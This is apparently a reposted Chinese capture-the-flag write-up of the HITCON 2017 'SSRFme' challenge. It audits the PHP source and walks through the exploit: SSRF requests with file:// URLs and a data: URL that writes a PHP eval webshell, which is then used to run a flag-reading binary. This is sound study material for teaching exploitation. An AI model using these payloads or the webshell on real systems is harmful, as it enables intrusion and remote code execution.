当前位置: 首页 > news >正文

HITCON2017SSRFME-学习复盘

代码审计

192.168.122.15 
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//用逗号分割多个IP$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];//给第一个IP发送请求//在存在有请求头时执行$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);//创建文件夹@chdir($sandbox);//移动到该文件夹下$data = shell_exec("GET " . escapeshellarg($_GET["url"]));//escapeshellarg()它用于安全地将字符串转换为shell命令的参数。这个函数通过在字符串两边添加单引号,并且转义内部所有的单引号,来确保传递给shell函数的字符串不会引起安全问题。提取url给url加上单引号作为命令,perl语言向url发送get请求$info = pathinfo($_GET["filename"]);//提取文件路径信息,目录名,后缀$dir  = str_replace(".", "", basename($info["dirname"]));//路径的.换为空@mkdir($dir);//创建传入的目录@chdir($dir);//切换到该目录下@file_put_contents(basename($info["basename"]), $data);//将请求结果写入传入的文件里highlight_file(__FILE__);

所以我们在请求?url=/&filename=1.php时,会在/sandbox/md5(orange192.168.122.15)/下把url的结果写入文件1.php。

SSRF利用

?url=/&filename=1.php
漏洞点显而易见是在参数url,传入url=/返回上一级目录。读取目录结果在
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php
目录里有个readflag文件
?url=file:///readflag&filename=2.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/2.php
读取到文件是乱码,含有flag的字样,尝试上传一句话木马,连接后再执行该文件。
?url=data:text/plain;'<?php @eval($_POST['123']);?>'&filename=3.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/3.php
看到两个引号表示上传成功,用蚁剑连接,在根目录打开终端。
./readflag
得到flag。

参考文章

https://www.cnblogs.com/CAPD/p/17858896.html

http://www.lryc.cn/news/542858.html

相关文章:

  • 【Http和Https区别】
  • 2025数学建模竞赛汇总,错过再等一年
  • 基于SSM的《计算机网络》题库管理系统(源码+lw+部署文档+讲解),源码可白嫖!
  • ReentrantLock 用法与源码剖析笔记
  • 矩阵的 正定(Positive Definite)与负定(Negative Definite):从Fisher信息矩阵看“曲率”的秘密
  • 被裁20240927 --- WSL-Ubuntu20.04安装cuda、cuDNN、tensorRT
  • uniapp写的h5跳转小程序
  • [SWPUCTF 2022 新生赛]ez_rce
  • 递归、搜索与回溯算法 —— 名词解析
  • 【docker】docker swarm lock和unlock的区别,以及旧节点重启的隐患
  • Grafana使用日志5--如何重置Grafana密码
  • ELK搭建初入
  • JVM 高级面试题及答案整理,最新面试题
  • 第9章:LangChain结构化输出-示例5(基于大模型如何精确匹配POJO的字段)
  • ref和reactive的区别 Vue3
  • 基于MATLAB的OFDM通信系统仿真设计
  • 地铁站内导航系统:基于蓝牙Beacon与AR技术的动态路径规划技术深度剖析
  • JS复习练习题目、完整nodejs项目以及Commons、Es
  • Linux:理解O(1)调度算法的设计精髓
  • [C++][cmake]使用C++部署yolov12目标检测的tensorrt模型支持图片视频推理windows测试通过
  • Uppy - 免费开源、功能强大的新一代 web 文件上传组件,支持集成到 Vue 项目
  • 【游戏——BFS+分层图】
  • SSL 证书是 SSL 协议实现安全通信的必要组成部分
  • Spring 源码硬核解析系列专题(七):Spring Boot 与 Spring Cloud 的微服务源码解析
  • 嵌入式开发:傅里叶变换(5):STM32和Matlab联调验证FFT
  • C# 根据Ollama+DeepSeekR1开发本地AI辅助办公助手
  • 洛谷 P8705:[蓝桥杯 2020 省 B1] 填空题之“试题 E :矩阵” ← 卡特兰数
  • 我的AI工具箱Tauri版-FluxCharacterGeneration参考图像生成人像手办(Flux 版)
  • DeepSeek开源周Day2:DeepEP - 专为 MoE 模型设计的超高效 GPU 通信库
  • 51单片机-串口通信编程